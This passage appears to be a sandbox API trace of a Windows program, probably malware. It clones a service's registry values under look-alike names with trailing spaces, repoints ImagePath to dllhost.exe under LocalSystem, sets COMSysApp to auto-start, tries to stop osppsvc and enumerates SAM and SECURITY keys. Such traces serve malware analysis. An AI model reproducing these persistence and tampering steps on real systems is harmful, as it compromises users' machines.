lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.822] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.822] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.823] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.824] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.824] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0253.871] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.871] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0253.871] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0253.871] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0253.871] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0253.871] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0253.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0253.872] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0253.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0253.873] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0253.873] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\dllhost.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\dllhost.exe") returned 0x0 [0253.873] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\dllhost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\dllhost.exe" [0253.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0253.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0253.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0253.873] LocalFree (hMem=0x7e4b18) returned 0x0 [0253.873] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\dllhost.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\dllhost.exe") returned 0x0 [0253.873] OpenServiceW (hSCManager=0x803918, lpServiceName="COMSysApp", dwDesiredAccess=0x2) returned 0x803990 [0253.874] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.890] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0253.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0253.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0253.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.891] RegCloseKey (hKey=0xc4) returned 0x0 [0253.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.891] RegCloseKey (hKey=0x14c) returned 0x0 [0253.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.891] CreateFileW (lpFileName="C:\\Windows\\system32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.891] GetLastError () returned 0x20 [0253.891] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.892] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.892] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.892] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x20) returned 0x8038a0 [0253.892] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.893] GetLastError () returned 0x425 [0253.893] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.893] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.893] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.893] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.895] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.895] 